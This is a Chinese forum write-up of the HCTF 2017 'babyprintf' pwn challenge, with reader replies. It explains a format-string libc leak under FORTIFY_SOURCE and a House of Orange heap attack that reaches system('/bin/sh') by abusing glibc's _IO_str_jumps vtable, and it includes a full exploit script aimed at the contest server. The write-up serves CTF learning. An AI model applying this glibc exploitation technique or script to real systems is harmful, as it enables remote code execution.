2

[原创]Hctf-2017-babyprintf-一个有趣的PWN-writeup

simSimple 2017-11-13 19:52 1251
 

目录

Babyprintf

这几天在看house of orange,然后遇到了HCTF这么一道题目,感觉能够用house of orange来做(和出题大佬spine聊完之后发现这个方法不算准确的预期解法,还有别的解法。),但是和house of orange的场景不一致,最后貌似学会了一种不需要知道heap地址的house of orange攻击方法,这样house of orange的攻击面更加广泛了,不知道各位大牛怎么看,有误之处,还望多多指教。

0x00 题目描述

程序流程很简单了,就是一个堆分配,然后一个gets读入,有溢出,同时之后又打印,有格式化字符串。

 

0x01 程序漏洞

1.格式化字符串漏洞

咋一看,格式化字符串漏洞,哇,这道题目这么简单的吗?然后。。。。。
发现开启了FORTIFY_SOURCE机制,emm......记得32位好像可以绕过,然后再定睛一看64位,mmp,好像饶不了?难不成是0day?
FORTIFY_SOURCE机制对格式化字符串有两个限制

  1)包含%n的格式化字符串不能位于程序内存中的可写地址。
  2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。

第二点还是比较好过的,依然还是可以泄露出来信息的。但是第一点是无法绕过的,至少在谷歌上没有找到方案,在32位的情况下是可以绕过的,所以思路不能停留在格式化字符串上。

2. 堆溢出(house of orange)

gets这里可以无限写入直到\n为止,所以通过这个漏洞可以修改top_chunk,所以想到了可以使用house of orange(关于house_of_orange有不懂的可以看我之前关于house of orange的博客http://simp1e.leanote.com/post/9571ae32e8ca)。

0x02 利用思路

1.信息泄露

先用格式化字符串漏洞泄露libc地址,为我们后面的house of orange做好准备。和普通的格式化字符串漏洞泄露方法差不多,就是需要把%n$前面的n-1个也打上就行。然后你可以去尝试用用%n,会发现被检测出来使用可写地址,然后结束了,我的泄露部分如下,能够泄露出来libc_start_main的返回地址,由偏移得到libc地址,同时栈上还有stack地址一并进行了泄露。

    leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p '
    sstr='%p'*90
    io.writeline(leak_libc)
    io.read_until('aaa ')
    data=io.read_until(' ')[:-1]
    real_start_main=int(data,16)
    io.read_until('bbb ')
    data=io.read_until(' ')[:-1]
    stack_pointer=int(data,16)

2.对house of orange进行改进

但是这里有一个问题就是我们无法泄露heap的地址,但是在house of orange里面是需要获取heap地址来设置vtable的,而且这里给出的服务器上libc的版本是2.24,在2.24的libc源码中对io_filevtable进行了IO_vtable_check,源码如下https://code.woboq.org/userspace/glibc/libio/vtables.c.html#39

38    void attribute_hidden
39    _IO_vtable_check (void)
40    {
41    #ifdef SHARED
42      /* Honor the compatibility flag.  */
43      void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
44    #ifdef PTR_DEMANGLE
45      PTR_DEMANGLE (flag);
46    #endif
47      if (flag == &_IO_vtable_check)
48        return;
49    
50      /* In case this libc copy is in a non-default namespace, we always
51         need to accept foreign vtables because there is always a
52         possibility that FILE * objects are passed across the linking
53         boundary.  */
54      {
55        Dl_info di;
56        struct link_map *l;
57        if (_dl_open_hook != NULL
58            || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
59                && l->l_ns != LM_ID_BASE))
60          return;
61      }
62    
63    #else /* !SHARED */
64      /* We cannot perform vtable validation in the static dlopen case
65         because FILE * handles might be passed back and forth across the
66         boundary.  Therefore, we disable checking in this case.  */
67      if (__dlopen != NULL)
68        return;
69    #endif
70    
71      __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
72    }

这里其实我没看懂,但是知道就算我们知道了heap地址,应该还是正常伪造的vtable通过不了检查的,那么有一个思路,有没有可以利用不在heap上的vtable呢,这个真的可以有,在strops的源码中就有这样的io_jump结构。 https://code.woboq.org/userspace/glibc/libio/strops.c.html#14

 

 

这里面的结构体有什么特点呢?一个是这个io_str_jumps是在libc上的,第二是我们来看这个IO_str_overflow这个函数。

 

 

这个函数里面是有一个相对地址调用的,也就是调用fp结构某处地址,由于fp这个结构我们正好是可以控制的。具体偏移是多少呢?这个偏移我们就不看源码了,直接用IDA来看这个偏移。

 

 

IDA我们可以很快知道这个偏移是0x1c*8=0xe0,同时执行函数时候参数正好2*v6+100,不过我们也需要绕过一些判断。
那么我们一步一步来分析

v5=[fp+0x38]
v6=[fp+0x40]-v5
v7=2*v6+100
v6<=v7
call [fp+0xe0](参数为v7)

我们设置v7为binsh的地址,那么v6=(binsh-100) /2,把0xe0偏移位置设置成system地址就可以了,所以,这样的话house_of_orange是不需要依靠heap地址的,我还看了一下,其他版本的libc也有和这个io_str_jumps,所以这应该是一个通用的方法。
这里参考了lowkey师傅在安全客的文章,以及angelboyhouse of orange,感谢他们的分享,学习到不少知识。

0x03 利用代码

#coding:utf-8
from zio import *
from pwn import *
import mypwn
def do_one(io,llen,data):

    io.read_until('size:')
    io.writeline(str(llen))
    io.read_until(': ')
    io.writeline(data)

if __name__ == '__main__':
    binary_path = "./babyprintf"
    #l=ELF("./docker_64.so")
    #l=ELF("/lib/i386-linux-gnu/libc.so.6")
    r_m = COLORED(RAW, "green")
    w_m = COLORED(RAW, "blue")
    target = binary_path
    bin=ELF(binary_path)
    remote=1
    target = ('47.100.64.113',23332)
    io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
    if target == binary_path:
        offset_start_main=0x21F45
        l=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    if remote==1:
        io.read_until('please input you token\n')
        io.writeline('qdoinRjE8vGEtOfeMlqfRnfOFVoFQ1b5')
        offset_start_main=0x203F1
        l=ELF("./libc-2.24.so")
        offset_binsh=0x18AC40
    io.read_until('size:')
    llen=0x90-8
    io.writeline(str(llen))
    io.read_until(': ')
    leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p '
    sstr='%p'*90
    io.writeline(leak_libc)
    io.read_until('aaa ')
    data=io.read_until(' ')[:-1]
    real_start_main=int(data,16)
    io.read_until('bbb ')
    data=io.read_until(' ')[:-1]
    stack_pointer=int(data,16)
    libc_base=real_start_main-offset_start_main
    real_io_list=libc_base+l.symbols['_IO_list_all']
    real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40
    real_system=libc_base+l.symbols['system']
    real_binsh=libc_base+offset_binsh
    mypwn.log('real_start_main',real_start_main)
    mypwn.log('stack_pointer',stack_pointer)
    mypwn.log('real_io_list',real_io_list)
    mypwn.log('libc_base',libc_base)
    mypwn.log('real_io_stdin_buf_base',real_io_stdin_buf_base)
    mypwn.log('real_binsh',real_binsh)

    #house of orange
    do_one(io,0x90-8,'a'*0x80+p64(0)+p64(0xee1))
    io.gdb_hint()
    do_one(io,0x1000-8,'b'*0x80+p64(0)+p64(0x61)+p64(0xddaa)+p64(real_io_list-0x10))

    #do_one(io,0x90-8,'a'*0x10)
    fake_chunk='\x00'*8+p64(0x61)#why ? io_file?
    fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10)
    fake_chunk+=p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64( (real_binsh-0x64)/2 )
    fake_chunk=fake_chunk.ljust(0xa0,'\x00')
    fake_chunk+=p64(real_system+0x420)
    fake_chunk=fake_chunk.ljust(0xc0,'\x00')
    fake_chunk+=p64(1)
    vtable_addr=libc_base+0x3BE4C0
    payload =fake_chunk
    payload += p64(0)
    payload += p64(0)
    payload += p64(vtable_addr)
    payload += p64(real_system)
    payload += p64(2)
    payload += p64(3) 
    payload += p64(0)*3 # vtable
    payload += p64(real_system)

    #do_one(io,0x90-8,'c'*0x80+p64(0)+p64(0x61)+p64(libc_base+0x3c17b8)+p64(real_io_list-0x10) )
    do_one(io,0x90-8,'c'*0x80+payload )

    #trigger_ unsort bin

    #do_one(io,0x1000-8,'%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p'+'\x00'*2+'aaaa')


    io.interact()

0x04 后记

最近某湿敷发了一句话,know it then hack it,这几天重新学习堆方面的漏洞利用知识时候很受教,在学习新的攻击方法和漏洞利用思路时候,必须把每一个步骤都了解清楚,必要的时候比照libc源码进行分析,不知道内部原因的情况下,是无法吃透一个漏洞利用思路的精华所在的,那就更别谈对方法进行改进了。
题目附件我已经上传了,题目最近还开着,大家可以自己尝试去做做,据spine大佬说还有很多解法,我的解法不一定是官方出题思路,大家如果用别的姿势进行利用成功的话,也可以分享来学习一下。

0xff 参考资料

  1. http://bobao.360.cn/learning/detail/4661.html
  2. http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
上传的附件:
本主题帖已收到 1 次赞赏,累计¥1.00
最新回复 (6)
Hcamael 6天前
2
spine大佬看到他变成了spin,然后哭晕在厕所里了
2
simSimple 6天前
3
Hcamael spine大佬看到他变成了spin,然后哭晕在厕所里了
尴尬,我看能不能改,我得给spine大佬认错去了,而且我每处都标红了
聖blue 6天前
4
不错!
witcher 5天前
5
大佬,我想问两个问题,我看了一下gets函数和_IO_getc函数,并没有发现哪儿调用了_IO_str_overflow函数呀(一定是我太菜了),能否告知是在哪儿调用的?还有,我试了一下你末尾处的payload,发现打不通呀,拿不到shell
2
simSimple 5天前
6
不是gets调用了io_str_overflow函数,是abort在clean  io时候  我们伪造虚表调用了io_str_overflow函数
witcher 4天前
7
simSimple 不是gets调用了io_str_overflow函数,是abort在clean io时候 我们伪造虚表调用了io_str_overflow函数
受教了大佬,我再去看看源码,这两天libc源码看着恶心了看了三天的源码,才懂一点io的知识
返回